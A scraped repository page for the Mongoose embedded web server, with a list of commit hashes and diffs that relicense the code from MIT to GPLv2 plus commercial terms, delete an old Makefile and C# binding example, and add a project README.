|
e63f7fe33a | ||
|
|
b589e0cdf4 | ||
|
|
2b87f909ce | ||
|
|
ec7d0b1abd | ||
|
|
5bb3ede46d | ||
|
|
5105717f78 | ||
|
|
9d1e356709 | ||
|
|
3d7192d9fa | ||
|
|
1b3cbb17c1 | ||
|
|
f1f03e4378 | ||
|
|
625a2a3652 | ||
|
|
33a31d9308 | ||
|
|
5e9bd1f05e | ||
|
|
75d9a6c844 | ||
|
|
179761fd99 | ||
|
|
b783813e54 | ||
|
|
4b29689a42 | ||
|
|
9c4853471c | ||
|
|
81e21a3a0b | ||
|
|
bec6ea00ea | ||
|
|
ed32e3be0f | ||
|
|
83fae879bf | ||
|
|
2169e6d77f | ||
|
|
850e0a5922 | ||
|
|
322ed3cc6f | ||
|
|
6d4d53c247 | ||
|
|
e6f8d40942 | ||
|
|
7e051206ad | ||
|
|
76d913796c | ||
|
|
4c2609df2c | ||
|
|
f79bd71fd4 | ||
|
|
5d4f5b6000 | ||
|
|
fe7c245a6b | ||
|
|
f24bebaca8 | ||
|
|
08afdfa8b6 | ||
|
|
05f7d65fc9 | ||
|
|
a194e07545 | ||
|
|
dbb8a5bbf4 | ||
|
|
d3005df019 | ||
|
|
ef9b103a00 | ||
|
|
f0a2924a7c | ||
|
|
f109030cd0 | ||
|
|
eebdd06532 | ||
|
|
ca2fc71a01 | ||
|
|
e61e371c16 | ||
|
|
d5f07f5b9b | ||
|
|
0a8d5dde51 | ||
|
|
5646caa572 | ||
|
|
c7e5573d08 | ||
|
|
b9a226d109 | ||
|
|
fcf8b86288 | ||
|
|
a8b08c6784 | ||
|
|
1fb6f391a1 | ||
|
|
fcbc36ecde | ||
|
|
70771f29ce | ||
|
|
121391504f | ||
|
|
8455742440 | ||
|
|
5b786a5089 | ||
|
|
a6e74e7707 | ||
|
|
acf72a6109 | ||
|
|
2b76f5fc2a | ||
|
|
c0150606f0 | ||
|
|
cdb6588973 | ||
|
|
eecf24b20c | ||
|
|
0470e813a9 | ||
|
|
52c2b6a407 | ||
|
|
d0ce4b9d81 | ||
|
|
f08af96294 | ||
|
|
315ab663df | ||
|
|
fbd46f9b1c | ||
|
|
74c099fe63 | ||
|
|
2acfab62f0 | ||
|
|
0f9a6266e2 | ||
|
|
ca447d9a23 | ||
|
|
444dbe1cec | ||
|
|
20ce55eb3a | ||
|
|
3956aba429 | ||
|
|
6a37f5e4d6 | ||
|
|
f71bfd5e28 | ||
|
|
38cc14a1af | ||
|
|
bde9a63390 | ||
|
|
8eb816c314 | ||
|
|
50c05c4eed | ||
|
|
4eb5cfab7b | ||
|
|
df6fe7a379 | ||
|
|
78eec961a2 | ||
|
|
adff33c889 | ||
|
|
372fcd722c | ||
|
|
0982863e2d | ||
|
|
9b58a951f0 | ||
|
|
ba04f3fd5d | ||
|
|
ff52367c1c | ||
|
|
a0a017d54d | ||
|
|
6cad2c6f28 | ||
|
|
cec98ee9e2 | ||
|
|
dbef400762 | ||
|
|
1bd85de19a | ||
|
|
0b206129ac | ||
|
|
5e491801da | ||
|
|
eed09600f7 | ||
|
|
8d6634ff7e | ||
|
|
6c9ed3ca53 | ||
|
|
ede1befffa | ||
|
|
2cd4852321 | ||
|
|
1eb719f2d9 | ||
|
|
bf633082ac | ||
|
|
075a152779 | ||
|
|
c079a13b24 | ||
|
|
113c9d5a02 | ||
|
|
05fa677382 | ||
|
|
ab3c070e1c | ||
|
|
2e6a01b931 | ||
|
|
9fa66bf237 | ||
|
|
98c382e7af | ||
|
|
94c7a3862a | ||
|
|
6869b64b31 | ||
|
|
8faf6f7b72 | ||
|
|
99ddb2f12a | ||
|
|
ca9212c3ca | ||
|
|
c9183f3851 | ||
|
|
0912a7f473 | ||
|
|
38421657b3 | ||
|
|
64cfe1d389 | ||
|
|
69b0b58d46 | ||
|
|
0d442058e5 | ||
|
|
1ef31461bc | ||
|
|
0b09df97ac | ||
|
|
0263e39584 | ||
|
|
d8424726bb | ||
|
|
080cb2dd4b | ||
|
|
786caaecb2 | ||
|
|
eb92b5f1b3 | ||
|
|
c5ba6016aa | ||
|
|
73a845a327 | ||
|
|
6eec552ea4 | ||
|
|
cb62203cf3 | ||
|
|
4fcb64fe90 | ||
|
|
8966f47c7a | ||
|
|
e251375c0c | ||
|
|
672e1ec8c6 | ||
|
|
f8713ede2d | ||
|
|
0b5f854bf0 | ||
|
|
3770020b74 | ||
|
|
9f9a1638f7 | ||
|
|
fb07a937e7 | ||
|
|
025cd283c4 | ||
|
|
b39426dbf7 | ||
|
|
5157bd0960 | ||
|
|
2aaedef4af | ||
|
|
a0b037d288 | ||
|
|
011bdc22b2 | ||
|
|
b437d56736 | ||
|
|
6205e69ab2 | ||
|
|
038f8823f1 | ||
|
|
03dd8367bf | ||
|
|
b597da34da | ||
|
|
bf387f9544 | ||
|
|
365b5e8f8a | ||
|
|
47651766fb | ||
|
|
043ea54a2a | ||
|
|
55c8c82c4b | ||
|
|
557d1f4c49 | ||
|
|
2539a473fe | ||
|
|
6bd35a4c18 | ||
|
|
fb8f0ed4d6 | ||
|
|
3ffdf5459a | ||
|
|
02098b1903 | ||
|
|
c189553c8b | ||
|
|
d970705596 | ||
|
|
5c9ab40601 | ||
|
|
451d077170 | ||
|
|
30d1573346 | ||
|
|
0adef2db5b | ||
|
|
8c1866a4af | ||
|
|
2a7a594b49 | ||
|
|
78ea04556f | ||
|
|
7fe2944477 | ||
|
|
93131417e6 | ||
|
|
6ef5eb0665 | ||
|
|
24103ff5df | ||
|
|
2118de37c3 | ||
|
|
0804ce71d5 | ||
|
|
2ffb558e30 | ||
|
|
05062be889 | ||
|
|
ba6c01e602 | ||
|
|
dfc0f00478 | ||
|
|
ecb2b0e53d | ||
|
|
ed74cd82f5 | ||
|
|
d2be594262 | ||
|
|
1e632d3215 | ||
|
|
5642dfcf38 | ||
|
|
4dff36ffde | ||
|
|
771ce9059c | ||
|
|
e490b30c38 | ||
|
|
f935ef832b | ||
|
|
79cdb77e5d | ||
|
|
ff0c2d3f91 | ||
|
|
6f9901b65c | ||
|
|
bce3a85702 | ||
|
|
f741349d51 | ||
|
|
25863b59a6 | ||
|
|
72c861bb83 | ||
|
|
586574e176 | ||
|
|
0f15954727 | ||
|
|
167338f216 | ||
|
|
d82f6b7607 | ||
|
|
614b219a27 | ||
|
|
35cf8687df | ||
|
|
d883b0f0f9 | ||
|
|
0b942aaaba | ||
|
|
364235e7ae | ||
|
|
ba1f2ced8e | ||
|
|
c4c34a8f4d | ||
|
|
a866f4e174 | ||
|
|
c5916814cd | ||
|
|
349717ac0e | ||
|
|
5d27766424 | ||
|
|
97668ba6c9 | ||
|
|
98fb44f836 | ||
|
|
2260c8ddc0 | ||
|
|
edffc46b98 | ||
|
|
7bd8cc3c0c | ||
|
|
828f6cd7fe | ||
|
|
f9873eb87a | ||
|
|
358e4ffbf5 | ||
|
|
9aad922983 | ||
|
|
d9ab7af8b4 | ||
|
|
05b2a04267 | ||
|
|
4408083b4d | ||
|
|
4f01f101fc | ||
|
|
d9f9911d9b | ||
|
|
93b4562515 | ||
|
|
0bb67e06c1 | ||
|
|
518b3aa726 | ||
|
|
07f3554db3 | ||
|
|
acab70ee7c | ||
|
|
c388bc2dd3 | ||
|
|
8072b0a7d4 | ||
|
|
3f4be595a6 | ||
|
|
5d11901af8 | ||
|
|
43953782f9 | ||
|
|
12e133a5e9 | ||
|
|
e92d4451ef | ||
|
|
fadb60d776 | ||
|
|
0521d78982 | ||
|
|
3602d54a5b | ||
|
|
8428f362c1 | ||
|
|
fafc9c6a20 | ||
|
|
66e088d843 | ||
|
|
4a760ad324 | ||
|
|
c92d7c3bc8 | ||
|
|
ee91109d9f | ||
|
|
30fe257691 | ||
|
|
ab6f145e3e | ||
|
|
83dc425e25 | ||
|
|
001cd78b45 | ||
|
|
3d3359910f | ||
|
|
ee8111e424 | ||
|
|
1861b1137b | ||
|
|
ccf43fe3e3 | ||
|
|
8b491d75b5 | ||
|
|
d70c18d692 |
No files matched your search
@@ -1,19 +1,16 @@
|
|||||||
Copyright (c) 2004-2010 Sergey Lyubka
|
Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
|
||||||
|
Copyright (c) 2013 Cesanta Software Limited
|
||||||
|
All rights reserved
|
||||||
|
|
||||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
This code is dual-licensed: you can redistribute it and/or modify
|
||||||
of this software and associated documentation files (the "Software"), to deal
|
it under the terms of the GNU General Public License version 2 as
|
||||||
in the Software without restriction, including without limitation the rights
|
published by the Free Software Foundation. For the terms of this
|
||||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
license, see <http://www.gnu.org/licenses>.
|
||||||
copies of the Software, and to permit persons to whom the Software is
|
|
||||||
furnished to do so, subject to the following conditions:
|
|
||||||
|
|
||||||
The above copyright notice and this permission notice shall be included in
|
You are free to use this code under the terms of the GNU General
|
||||||
all copies or substantial portions of the Software.
|
Public License, but WITHOUT ANY WARRANTY; without even the implied
|
||||||
|
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
See the GNU General Public License for more details.
|
||||||
|
|
||||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
Alternatively, you can license this code under a commercial
|
||||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
license, as set out in <http://cesanta.com/>.
|
||||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
||||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
||||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
|
||||||
THE SOFTWARE.
|
|
||||||
@@ -1,146 +0,0 @@
|
|||||||
# This file is part of Mongoose project, http://code.google.com/p/mongoose
|
|
||||||
# $Id: Makefile 473 2009-09-02 11:20:06Z valenok $
|
|
||||||
|
|
||||||
PROG= mongoose
|
|
||||||
|
|
||||||
all:
|
|
||||||
@echo "make (linux|bsd|solaris|mac|windows|mingw)"
|
|
||||||
|
|
||||||
# Possible COPT values: (in brackets are rough numbers for 'gcc -O2' on i386)
|
|
||||||
# -DHAVE_MD5 - use system md5 library (-2kb)
|
|
||||||
# -DNDEBUG - strip off all debug code (-5kb)
|
|
||||||
# -DDEBUG - build debug version (very noisy) (+7kb)
|
|
||||||
# -DNO_CGI - disable CGI support (-5kb)
|
|
||||||
# -DNO_SSL - disable SSL functionality (-2kb)
|
|
||||||
# -DCONFIG_FILE=\"file\" - use `file' as the default config file
|
|
||||||
# -DHAVE_STRTOUI64 - use system strtoui64() function for strtoull()
|
|
||||||
# -DSSL_LIB=\"libssl.so.<version>\" - use system versioned SSL shared object
|
|
||||||
# -DCRYPTO_LIB=\"libcrypto.so.<version>\" - use system versioned CRYPTO so
|
|
||||||
|
|
||||||
|
|
||||||
##########################################################################
|
|
||||||
### UNIX build: linux, bsd, mac, rtems
|
|
||||||
##########################################################################
|
|
||||||
|
|
||||||
CFLAGS = -W -Wall -std=c99 -pedantic -O2 $(COPT)
|
|
||||||
MAC_SHARED = -flat_namespace -bundle -undefined suppress
|
|
||||||
LINFLAGS = -ldl -pthread $(CFLAGS)
|
|
||||||
LIB = _$(PROG).so
|
|
||||||
#CC = g++
|
|
||||||
|
|
||||||
# Make sure that the compiler flags come last in the compilation string.
|
|
||||||
# If not so, this can break some on some Linux distros which use
|
|
||||||
# "-Wl,--as-needed" turned on by default in cc command.
|
|
||||||
# Also, this is turned in many other distros in static linkage builds.
|
|
||||||
linux:
|
|
||||||
$(CC) mongoose.c -shared -fPIC -fpic -o $(LIB) $(LINFLAGS)
|
|
||||||
$(CC) mongoose.c main.c -o $(PROG) $(LINFLAGS)
|
|
||||||
|
|
||||||
bsd:
|
|
||||||
$(CC) mongoose.c -shared -pthread -fpic -fPIC -o $(LIB) $(CFLAGS)
|
|
||||||
$(CC) mongoose.c main.c -pthread -o $(PROG) $(CFLAGS)
|
|
||||||
|
|
||||||
mac:
|
|
||||||
$(CC) mongoose.c -pthread -o $(LIB) $(MAC_SHARED) $(CFLAGS)
|
|
||||||
$(CC) mongoose.c main.c -pthread -o $(PROG) $(CFLAGS)
|
|
||||||
|
|
||||||
solaris:
|
|
||||||
gcc mongoose.c -pthread -lnsl \
|
|
||||||
-lsocket -fpic -fPIC -shared -o $(LIB) $(CFLAGS)
|
|
||||||
gcc mongoose.c main.c -pthread -lnsl -lsocket -o $(PROG) $(CFLAGS)
|
|
||||||
|
|
||||||
|
|
||||||
##########################################################################
|
|
||||||
### WINDOWS build: Using Visual Studio or Mingw
|
|
||||||
##########################################################################
|
|
||||||
|
|
||||||
# Using Visual Studio 6.0. To build Mongoose:
|
|
||||||
# o Set VC variable below to where VS 6.0 is installed on your system
|
|
||||||
# o Run "PATH_TO_VC6\bin\nmake windows"
|
|
||||||
|
|
||||||
VC= z:
|
|
||||||
CYA= y:
|
|
||||||
#DBG= /Zi /DDEBUG /Od
|
|
||||||
DBG= /DNDEBUG /O1
|
|
||||||
CL= cl /MD /TC /nologo $(DBG) /Gz /W3 /DNO_SSL_DL
|
|
||||||
GUILIB= user32.lib shell32.lib
|
|
||||||
LINK= /link /incremental:no /libpath:$(VC)\lib /subsystem:windows \
|
|
||||||
ws2_32.lib advapi32.lib cyassl.lib
|
|
||||||
CYAFL = /c /I $(CYA)/include -I $(CYA)/include/openssl \
|
|
||||||
/I $(CYA)/ctaocrypt/include /D _LIB /D OPENSSL_EXTRA
|
|
||||||
|
|
||||||
CYASRC= \
|
|
||||||
$(CYA)/src/cyassl_int.c \
|
|
||||||
$(CYA)/src/cyassl_io.c \
|
|
||||||
$(CYA)/src/keys.c \
|
|
||||||
$(CYA)/src/tls.c \
|
|
||||||
$(CYA)/src/ssl.c \
|
|
||||||
$(CYA)/ctaocrypt/src/aes.c \
|
|
||||||
$(CYA)/ctaocrypt/src/arc4.c \
|
|
||||||
$(CYA)/ctaocrypt/src/asn.c \
|
|
||||||
$(CYA)/ctaocrypt/src/coding.c \
|
|
||||||
$(CYA)/ctaocrypt/src/ctc_asm.c \
|
|
||||||
$(CYA)/ctaocrypt/src/ctc_misc.c \
|
|
||||||
$(CYA)/ctaocrypt/src/cyassl_memory.c \
|
|
||||||
$(CYA)/ctaocrypt/src/des3.c \
|
|
||||||
$(CYA)/ctaocrypt/src/dh.c \
|
|
||||||
$(CYA)/ctaocrypt/src/dsa.c \
|
|
||||||
$(CYA)/ctaocrypt/src/ecc.c \
|
|
||||||
$(CYA)/ctaocrypt/src/hc128.c \
|
|
||||||
$(CYA)/ctaocrypt/src/hmac.c \
|
|
||||||
$(CYA)/ctaocrypt/src/integer.c \
|
|
||||||
$(CYA)/ctaocrypt/src/md4.c \
|
|
||||||
$(CYA)/ctaocrypt/src/md5.c \
|
|
||||||
$(CYA)/ctaocrypt/src/pwdbased.c \
|
|
||||||
$(CYA)/ctaocrypt/src/rabbit.c \
|
|
||||||
$(CYA)/ctaocrypt/src/random.c \
|
|
||||||
$(CYA)/ctaocrypt/src/ripemd.c \
|
|
||||||
$(CYA)/ctaocrypt/src/rsa.c \
|
|
||||||
$(CYA)/ctaocrypt/src/sha.c \
|
|
||||||
$(CYA)/ctaocrypt/src/sha256.c \
|
|
||||||
$(CYA)/ctaocrypt/src/sha512.c \
|
|
||||||
$(CYA)/ctaocrypt/src/tfm.c
|
|
||||||
|
|
||||||
cyassl:
|
|
||||||
$(CL) $(CYASRC) $(CYAFL) $(DEF)
|
|
||||||
lib *.obj /out:cyassl.lib
|
|
||||||
|
|
||||||
windows:
|
|
||||||
rc win32\res.rc
|
|
||||||
$(CL) main.c mongoose.c /GA $(LINK) win32\res.res \
|
|
||||||
$(GUILIB) /out:$(PROG).exe
|
|
||||||
$(CL) mongoose.c /GD $(LINK) /DLL /DEF:win32\dll.def /out:_$(PROG).dll
|
|
||||||
|
|
||||||
# Build for Windows under MinGW
|
|
||||||
#MINGWDBG= -DDEBUG -O0
|
|
||||||
MINGWDBG= -DNDEBUG -Os
|
|
||||||
#MINGWOPT= -W -Wall -mthreads -Wl,--subsystem,console $(MINGWDBG) -DHAVE_STDINT
|
|
||||||
MINGWOPT= -W -Wall -mthreads -Wl,--subsystem,windows $(MINGWDBG)
|
|
||||||
mingw:
|
|
||||||
windres win32\res.rc win32\res.o
|
|
||||||
gcc $(MINGWOPT) mongoose.c -lws2_32 \
|
|
||||||
-shared -Wl,--out-implib=$(PROG).lib -o _$(PROG).dll
|
|
||||||
gcc $(MINGWOPT) mongoose.c main.c win32\res.o -lws2_32 -ladvapi32 \
|
|
||||||
-o $(PROG).exe
|
|
||||||
|
|
||||||
|
|
||||||
##########################################################################
|
|
||||||
### Manuals, cleanup, test, release
|
|
||||||
##########################################################################
|
|
||||||
|
|
||||||
man:
|
|
||||||
groff -man -T ascii mongoose.1 | col -b > mongoose.txt
|
|
||||||
groff -man -T ascii mongoose.1 | less
|
|
||||||
|
|
||||||
# "TEST=unit make test" - perform unit test only
|
|
||||||
# "TEST=embedded" - test embedded API by building and testing test/embed.c
|
|
||||||
# "TEST=basic_tests" - perform basic tests only (no CGI, SSI..)
|
|
||||||
test: do_test
|
|
||||||
do_test:
|
|
||||||
perl test/test.pl $(TEST)
|
|
||||||
|
|
||||||
release: clean
|
|
||||||
F=mongoose-`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' mongoose.c`.tgz ; cd .. && tar -czf x mongoose/{LICENSE,Makefile,bindings,examples,test,win32,mongoose.c,mongoose.h,mongoose.1,main.c} && mv x mongoose/$$F
|
|
||||||
|
|
||||||
clean:
|
|
||||||
rm -rf *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz
|
|
||||||
@@ -0,0 +1,86 @@
|
|||||||
|
# <img src="http://cesanta.com/images/mongoose_logo.png" width="64" height="64"> Mongoose Web Server
|
||||||
|
|
||||||
|
Mongoose is the most easy to use web server on the planet. A web server of choice for Web developers (PHP, Ruby, Python, etc) and Web designers.
|
||||||
|
|
||||||
|
Mongoose is built on top of Libmongoose embedded library, which can turn
|
||||||
|
anything into a web server in 5 minutes worth of effort and few lines of code.
|
||||||
|
Libmongoose is used to serve Web GUI on embedded devices, implement RESTful
|
||||||
|
services, RPC frameworks (e.g. JSON-RPC), handle telemetry data exchange, and
|
||||||
|
perform many other tasks in various different industries including aerospace,
|
||||||
|
manufacturing, finance, research, automotive, gaming, IT.
|
||||||
|
|
||||||
|
|
||||||
|
* [Mailing list](http://groups.google.com/group/mongoose-users)
|
||||||
|
* [Downloads](http://cesanta.com/mongoose.shtml)
|
||||||
|
* [Documentation](http://cesanta.com/docs.shtml)
|
||||||
|
|
||||||
|
# Features
|
||||||
|
|
||||||
|
- Works on Windows, Mac, UNIX/Linux, iPhone, Android eCos, QNX
|
||||||
|
and many other platforms
|
||||||
|
- CGI, SSI, SSL, Digest auth, Websocket, WEbDAV, Resumed download,
|
||||||
|
URL rewrite, file blacklist
|
||||||
|
- Custom error pages, Virtual hosts, IP-based ACL, Windows service,
|
||||||
|
HTTP/HTTPS client
|
||||||
|
- Simple and clean
|
||||||
|
[embedding API](https://github.com/cesanta/mongoose/blob/master/mongoose.h).
|
||||||
|
The source is in single
|
||||||
|
[mongoose.c](https://github.com/cesanta/mongoose/blob/master/mongoose.c) file
|
||||||
|
to make embedding easy
|
||||||
|
- Extremely lightweight, has a core of under 40kB and tiny runtime footprint
|
||||||
|
- Asynchronous, non-blocking core supporting single- or multi-threaded usage
|
||||||
|
- On the market since 2004 with over 1 million cumulative downloads
|
||||||
|
- Stable, mature and tested, has several man-years invested
|
||||||
|
in continuous improvement and refinement
|
||||||
|
|
||||||
|
# Screenshots
|
||||||
|
|
||||||
|
Download, double-click to start, run browser -- that's all!
|
||||||
|
|
||||||
|

|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|

|
||||||
|
|
||||||
|
# Acknowledgements
|
||||||
|
|
||||||
|
Mongoose made better thanks to the contribution of following people:
|
||||||
|
|
||||||
|
Arnout Vandecappelle, Benoît Amiaux, Boris Pek, Cody Hanson, Colin Leitner,
|
||||||
|
Daniel Oaks, Eric Bakan, Erik Oomen, Filipp Kovalev, Ger Hobbelt,
|
||||||
|
Hendrik Polczynski, Igor Okulist, Jay, Joe Mucchiello, John Safranek,
|
||||||
|
José Miguel Gonçalves, Shueng Chuan, Katerina Blinova, Konstantin Sorokin,
|
||||||
|
Marin Atanasov, Matt Healy, Mitch Hendrickson, Nigel Stewart, Pavel Khlebovich,
|
||||||
|
Sebastian Reinhard, Stefan Doehla, abadc0de, nullable.type,
|
||||||
|
T.Barmann, D.Hughes, J.C.Sloan, R.Romeo, L.E.Spencer, S.Kotay, R.M.Shorter,
|
||||||
|
W.Mar, J.Wilander, Santa from Memphis, S.Davies, C.Beck,
|
||||||
|
O.M.Vilhunen, C.Radik, G.Woodcock, M.Szczepkowski,
|
||||||
|
Eternal Lands Dev Team, T.Tollet, C.Tangerino, G.Karsai, A.Bourgett,
|
||||||
|
C.Blakemore, D.Fonaryov, T.Andrle, O.IJsselmuiden, R.Womack, M.Tomlinson,
|
||||||
|
A.Slåttå, L.Farrell, J.D.P.Ballestero, V.Albaev, B.Harker, T.Scheffel, H.Klein,
|
||||||
|
R.Merit, T.Bennett, H.Solis, A.Zincenko, M.S., S.Krul, K.Cooke, S.McCallum,
|
||||||
|
F.Morenius, and 10 others.
|
||||||
|
|
||||||
|
# Licensing
|
||||||
|
|
||||||
|
Mongoose is released under commercial and
|
||||||
|
[GNU GPL v.2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html) open
|
||||||
|
source licenses. The GPLv2 open source License does not generally permit
|
||||||
|
incorporating this software into non-open source programs.
|
||||||
|
For those customers who do not wish to comply with the GPLv2 open
|
||||||
|
source license requirements,
|
||||||
|
[Cesanta Software](http://cesanta.com) offers a full,
|
||||||
|
royalty-free commercial license and professional support
|
||||||
|
without any of the GPL restrictions.
|
||||||
|
|
||||||
|
# Other products by Cesanta Software: simple and effective
|
||||||
|
|
||||||
|
- [SSL Wrapper](https://github.com/cesanta/ssl_wrapper) - application to
|
||||||
|
secure network communications
|
||||||
|
- [Frozen](https://github.com/cesanta/frozen) - JSON parser and generator
|
||||||
|
- [SLRE](https://github.com/cesanta/slre) - Super Light Regular Expression
|
||||||
|
library
|
||||||
|
- [Net Skeleton](https://github.com/cesanta/net_skeleton) - framework for
|
||||||
|
building network applications
|
||||||
|
- [SLDR](https://github.com/cesanta/sldr) - Super Light DNS Resolver
|
||||||
@@ -1,52 +0,0 @@
|
|||||||
// This is C# example on how to use Mongoose embeddable web server,
|
|
||||||
// http://code.google.com/p/mongoose
|
|
||||||
//
|
|
||||||
// Before using the mongoose module, make sure that Mongoose shared library is
|
|
||||||
// built and present in the current (or system library) directory
|
|
||||||
|
|
||||||
using System;
|
|
||||||
using System.Runtime.InteropServices;
|
|
||||||
|
|
||||||
public class Program {
|
|
||||||
|
|
||||||
// This function is called when user types in his browser http://127.0.0.1:8080/foo
|
|
||||||
static private void UriHandler(MongooseConnection conn, MongooseRequestInfo ri) {
|
|
||||||
conn.write("HTTP/1.1 200 OK\r\n\r\n");
|
|
||||||
conn.write("Hello from C#!\n");
|
|
||||||
conn.write("Your user-agent is: " + conn.get_header("User-Agent") + "\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
static private void UriDumpInfo(MongooseConnection conn, MongooseRequestInfo ri)
|
|
||||||
{
|
|
||||||
conn.write("HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n");
|
|
||||||
conn.write("<html><body><head>Calling Info</head>");
|
|
||||||
conn.write("<p>Request: " + ri.request_method + "</p>");
|
|
||||||
conn.write("<p>URI: " + ri.uri + "</p>");
|
|
||||||
conn.write("<p>Query: " + ri.query_string + "</p>");
|
|
||||||
if (ri.post_data_len > 0) conn.write("<p>Post(" + ri.post_data_len + ")[@" + ri.post_data + "]: '" + Marshal.PtrToStringAnsi(ri.post_data) + "'</p>");
|
|
||||||
conn.write("<p>User:" + ri.remote_user + "</p>");
|
|
||||||
conn.write("<p>IP: " + ri.remote_ip + "</p>");
|
|
||||||
conn.write("<p>HTTP: " + ri.http_version + "</p>");
|
|
||||||
conn.write("<p>Port: " + ri.remote_port + "</p>");
|
|
||||||
conn.write("<p>NUM Headers: " + ri.num_headers + "</p>");
|
|
||||||
for (int i = 0; i < Math.Min(64, ri.num_headers); i++)
|
|
||||||
{
|
|
||||||
conn.write("<p>" + i + ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].name)
|
|
||||||
+ ":" + Marshal.PtrToStringAnsi(ri.http_headers[i].value) + "</p>");
|
|
||||||
}
|
|
||||||
conn.write("</body></html>");
|
|
||||||
}
|
|
||||||
|
|
||||||
static void Main() {
|
|
||||||
Mongoose web_server = new Mongoose();
|
|
||||||
|
|
||||||
// Set options and /foo URI handler
|
|
||||||
web_server.set_option("ports", "8080");
|
|
||||||
web_server.set_option("root", "c:\\");
|
|
||||||
web_server.set_uri_callback("/foo", new MongooseCallback(UriHandler));
|
|
||||||
web_server.set_uri_callback("/dumpinfo", new MongooseCallback(UriDumpInfo));
|
|
||||||
|
|
||||||
// Serve requests until user presses "enter" on a keyboard
|
|
||||||
Console.ReadLine();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,134 +0,0 @@
|
|||||||
// Copyright (c) 2004-2009 Sergey Lyubka
|
|
||||||
//
|
|
||||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
||||||
// of this software and associated documentation files (the "Software"), to deal
|
|
||||||
// in the Software without restriction, including without limitation the rights
|
|
||||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
||||||
// copies of the Software, and to permit persons to whom the Software is
|
|
||||||
// furnished to do so, subject to the following conditions:
|
|
||||||
//
|
|
||||||
// The above copyright notice and this permission notice shall be included in
|
|
||||||
// all copies or substantial portions of the Software.
|
|
||||||
//
|
|
||||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
||||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
||||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
||||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
|
||||||
// THE SOFTWARE.
|
|
||||||
//
|
|
||||||
// $Id: mongoose.cs 472 2009-08-30 22:40:29Z spsone1 $
|
|
||||||
|
|
||||||
using System;
|
|
||||||
using System.Runtime.InteropServices;
|
|
||||||
|
|
||||||
|
|
||||||
[StructLayout(LayoutKind.Sequential)] public struct MongooseHeader {
|
|
||||||
public IntPtr name; // Using IntPtr here because if we use strings here,
|
|
||||||
public IntPtr value; // it won't be properly marshalled.
|
|
||||||
};
|
|
||||||
|
|
||||||
// This is "struct mg_request_info" from mongoose.h header file
|
|
||||||
[StructLayout(LayoutKind.Sequential)] public struct MongooseRequestInfo {
|
|
||||||
public string request_method;
|
|
||||||
public string uri;
|
|
||||||
public string http_version;
|
|
||||||
public string query_string;
|
|
||||||
public IntPtr post_data;
|
|
||||||
public string remote_user;
|
|
||||||
public int remote_ip; //int to match the 32bit declaration in c
|
|
||||||
public int remote_port;
|
|
||||||
public int post_data_len;
|
|
||||||
public int status_code;
|
|
||||||
public int num_headers;
|
|
||||||
[MarshalAs(UnmanagedType.ByValArray,SizeConst=64)] public MongooseHeader[] http_headers;
|
|
||||||
};
|
|
||||||
|
|
||||||
// This is a delegate for mg_callback_t from mongoose.h header file
|
|
||||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
|
||||||
public delegate void MongooseCallback2(IntPtr conn, ref MongooseRequestInfo ri, IntPtr user_data);
|
|
||||||
|
|
||||||
// This is a delegate to be used by the application
|
|
||||||
public delegate void MongooseCallback(MongooseConnection conn, MongooseRequestInfo ri);
|
|
||||||
|
|
||||||
public class Mongoose {
|
|
||||||
public string version;
|
|
||||||
private IntPtr ctx;
|
|
||||||
//These two events are here to store a ref to the callbacks while they are over in unmanaged code.
|
|
||||||
private event MongooseCallback2 delegates2;
|
|
||||||
private event MongooseCallback delegates1;
|
|
||||||
|
|
||||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern IntPtr mg_start();
|
|
||||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_stop(IntPtr ctx);
|
|
||||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_version();
|
|
||||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern int mg_set_option(IntPtr ctx, string name, string value);
|
|
||||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern string mg_get_option(IntPtr ctx, string name);
|
|
||||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_set_uri_callback(IntPtr ctx, string uri_regex, MulticastDelegate func, IntPtr data);
|
|
||||||
[DllImport("_mongoose",CallingConvention=CallingConvention.Cdecl)] private static extern void mg_set_log_callback(IntPtr ctx, MulticastDelegate func);
|
|
||||||
